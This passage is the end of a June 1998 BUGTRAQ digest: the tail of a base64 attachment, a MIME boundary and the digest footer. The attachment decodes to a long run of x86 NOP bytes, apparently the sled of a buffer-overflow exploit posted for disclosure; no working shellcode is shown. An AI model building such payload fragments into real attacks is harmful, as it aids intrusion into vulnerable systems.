kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkA==
--2093887258-1556853466-898035013=:24416--

------------------------------

End of BUGTRAQ Digest - 14 Jun 1998 to 16 Jun 1998
**************************************************